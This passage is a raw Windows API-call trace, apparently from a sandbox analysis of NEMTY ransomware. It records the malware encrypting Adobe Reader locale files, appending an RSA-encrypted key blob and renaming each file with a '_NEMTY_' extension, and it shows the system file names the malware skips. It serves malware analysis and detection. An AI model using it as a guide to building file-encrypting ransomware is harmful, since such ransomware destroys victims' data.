pszString="e6WfPOBuIH5lNMSg8XiIetSA7Ubbb9Ofzb1boa42sin1BVZ5fTKbd799B5PUCMmL\r\ndc7BQaS5mY0JpCcCICqG0FUIFf6d7Rx7mj70jDIWIBVVvJ5UV93VJatThI2qMk7m\r\nKkgiYL7Fyt3ZI+SNyQ7lwmb7SuamcKEdnhT2TkzUvVOq3o+mpFfRbRyuqArlO9ne\r\neTHXCEB/VQTTDCjh5xVSfDOWxvfj5Touda94Wm2vmy2PFY6dcAMSP5s5qGRp14YO\r\nBQt07qetPaI0Qrxbbmw/HarfXLKjtB9qUk/e2Ma40pwH/JP2Tjd+H10o9XUyAuq4\r\nyBTk0ekuMIq9i5yMIRwyTg==\r\n", pcchString=0x653e5dc) returned 1 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0173.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.441] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0173.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0173.441] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.441] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0173.443] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.443] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0173.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.443] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0173.443] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.443] CloseHandle (hObject=0x3b0) returned 1 [0173.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0173.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0173.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0173.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0173.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.443] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat._nemty_kgobjgd_")) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.444] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.CAT", cAlternateFileName="")) returned 1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2=".") returned 1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="..") returned 1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="...") returned 1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="windows") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="rsa") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="NTDETECT.COM") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="ntldr") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="MSDOS.SYS") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="IO.SYS") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="boot.ini") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="boot.ini") returned -1 [0173.444] lstrcmpiW (lpString1="Annots.CAT", lpString2="AUTOEXEC.BAT") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="ntuser.dat") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="desktop.ini") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="CONFIG.SYS") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="RECYCLER") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="BOOTSECT.BAK") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="bootmgr") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="programdata") returned -1 [0173.445] lstrcmpiW (lpString1="Annots.CAT", lpString2="appdata") returned -1 [0173.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.445] Sleep (dwMilliseconds=0x5) [0173.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b089d50, dwHighDateTime=0x1d561e8)) [0173.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b089d50, dwHighDateTime=0x1d561e8)) [0173.454] GetLastError () returned 0x0 [0173.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.454] GetLastError () returned 0x0 [0173.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.454] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.454] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.455] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.455] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Tix9tiKD0gYNeSMNyPKW5VZHZBx6WfsWNrfliOX9g+5zahegQa8SvyJNQMz8QRqg\r\noJ0jElGb4QSkVVgJipWZqrdLwkXSiS5DPOZB3ERmNvT7OYR0fgRIqD1lnkeV0tMl\r\nGqqvgzFvS6PTbcAm+80q11Gi9xrjBy3FLTTKse1OW3wY2IYdDM40poeRP+LvSGbd\r\nMsBnoj1GmyHIB18BsqBncfQ7bi7hSwEV9aiPQyfZLLEp7Mf/21k0+bPSbt+R9P4n\r\nOlfyJNWxi4TH0koo+ocYz9Wx4OoruJssGsLrdbKLXkWVHViYu0pAhT0LZK61rMET\r\n8irke5d+K4omYo58AciWZA==\r\n", pcchString=0x653e5dc) returned 1 [0173.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.456] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=513024) returned 1 [0173.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.456] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.456] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.465] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.465] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.465] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=513024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d400 [0173.465] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.467] CloseHandle (hObject=0x3b0) returned 1 [0173.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0173.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.467] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat._nemty_kgobjgd_")) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.468] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.CAT", cAlternateFileName="BRDLAN~1.CAT")) returned 1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2=".") returned 1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="..") returned 1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="...") returned 1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="windows") returned -1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="rsa") returned -1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="NTDETECT.COM") returned -1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="ntldr") returned -1 [0173.468] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="MSDOS.SYS") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="IO.SYS") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="boot.ini") returned 1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="boot.ini") returned 1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="ntuser.dat") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="desktop.ini") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="CONFIG.SYS") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="RECYCLER") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="bootmgr") returned 1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="programdata") returned -1 [0173.469] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="appdata") returned 1 [0173.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CAT", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.469] Sleep (dwMilliseconds=0x5) [0173.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b0afeb0, dwHighDateTime=0x1d561e8)) [0173.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b0afeb0, dwHighDateTime=0x1d561e8)) [0173.470] GetLastError () returned 0x0 [0173.470] RtlAllocateHeap 